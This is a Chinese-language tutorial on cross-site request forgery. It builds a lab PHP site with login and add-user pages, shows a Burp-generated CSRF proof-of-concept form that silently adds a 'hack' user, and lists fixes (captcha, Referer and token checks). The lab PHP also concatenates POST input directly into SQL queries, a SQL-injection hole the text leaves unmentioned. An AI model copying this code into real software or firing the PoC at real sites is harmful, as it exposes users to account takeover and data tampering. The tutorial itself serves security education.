文章目录
CSRF
CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。 如下:其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。
漏洞危害
修改用户信息,如用户的头像、发货地址等。更有甚者,可能执行恶意操作,比如修 改密码、添加/删除好友或者点赞/转发/评论/私信。
挖掘思路
- 后台功能模块:管理后台、用户中心、添加用户等
- 被引用的核心文件里面有没有验证Token和referer的相关代码
- 没带Token:可以直接请求这个页面
- 没带referer:返回相同的数据
环境搭建
我们先来写几个简单的页面,用来测试csrf。
conn.php:
<?php
$conn = mysqli_connect("localhost","root","root","admin");
mysqli_query($conn,"SET NAMES GB2312");
index.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>用户登录</title>
</head>
<body>
<form action="login.php" method="post">
用户名:<input type="text" name="username"><br><br>
密 码:<input type="password" name="password"><br><br>
<input type="submit" value="登录" name="submit">
</form>
</body>
</html>
login.php:
<meta charset="UTF-8">
<?php
# 判断POST是否为空
if(!isset($_POST['submit']))
{
echo '<script>alert("非法访问!")</script>';
echo '<a href="index.html">返回登录</a>或者';
echo '<a href="add.html">前往注册</a>';
exit();
}
# 传值赋值
$username = $_POST['username'];
$password = $_POST['password'];
# 包含配置文件
include('conn.php');
# 构造SQL语句
$sql = "SELECT * FROM USER WHERE username='$username' and password='$password'";
# 接收结果集
$result = mysqli_query($conn,$sql) or die("执行Mysql语句失败!".mysqli_error($conn));
# 判断结果集是否赋值给了$row
if($row = mysqli_fetch_array($result))
{
# 启用新会话
session_start();
$_SESSION['username'] = $row['username'];
echo '欢迎',$_SESSION['username'].'登录系统!';
echo "<a href='add.html'>添加用户</a>";
}else{
echo "<script>alert('账号或密码错误!')</script>";
echo "<a href=index.html>返回登录</a>";
}
add.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>添加用户</title>
</head>
<body>
<meta charset="UTF-8">
<form action="add.php" method="post">
I D:<input type="text" name="ID"><br><br>
用户名:<input type="text" name="username"><br><br>
密码:<input type="password" name="password"><br><br>
<input type="submit" value="确认添加" name="add">
</form>
</body>
</html>
add.php:
<meta charset="UTF-8">
<?php
# 开启新会话
session_start();
# 判断SESSION中的name值是否为空
if (!isset($_SESSION['username']))
{
echo "<script>alert('非法访问,请注册!')</script>";
echo '<a href="add.html">前往注册</a>';
exit();
}
# 传值赋值
$id = $_POST['ID'];
$username = $_POST['username'];
$password = $_POST['password'];
# 包含配置文件
include "conn.php";
# 构造SQL语句
$sql = "INSERT INTO user(ID,username,password) VALUES('$id','$username','$password')" or die('语句执行失败!'.mysqli_error($conn));
# 接收结果集
$result =mysqli_query($conn,$sql);
# 判断结果集书否存在
if ($result)
{
echo '用户'.$username.'添加成功!';
}else
{
echo('添加失败!');
}
?>
实施攻击
假如我们没有账号,也无法完成添加用户的这个操作,那么我们就可以在本地搭建一个一样的CMS,抓一下它注册的数据包,搭建一个钓鱼网站,诱导处于活跃状态的管理员去点击。
抓包 -->右键构造CSRF验证页面:
Poc:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://1.1.1.137:8888/csrf/add.php" method="POST">
<input type="hidden" name="ID" value="11" />
<input type="hidden" name="username" value="hack" />
<input type="hidden" name="password" value="hack" />
<input type="hidden" name="add" value="确认添加" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
现在我们登录系统账号,来扮演上当受骗的管理员:
我们去访问钓鱼页面并点击按钮,成功触发CSRF漏洞:
攻击条件
- 目标存在CSRF漏洞
- 受害者需要保持目标站点的活跃状态
- 受害者需要点击钓鱼链接
修复方案
- 验证码
- 添加 Referer验证
- 添加 Token验证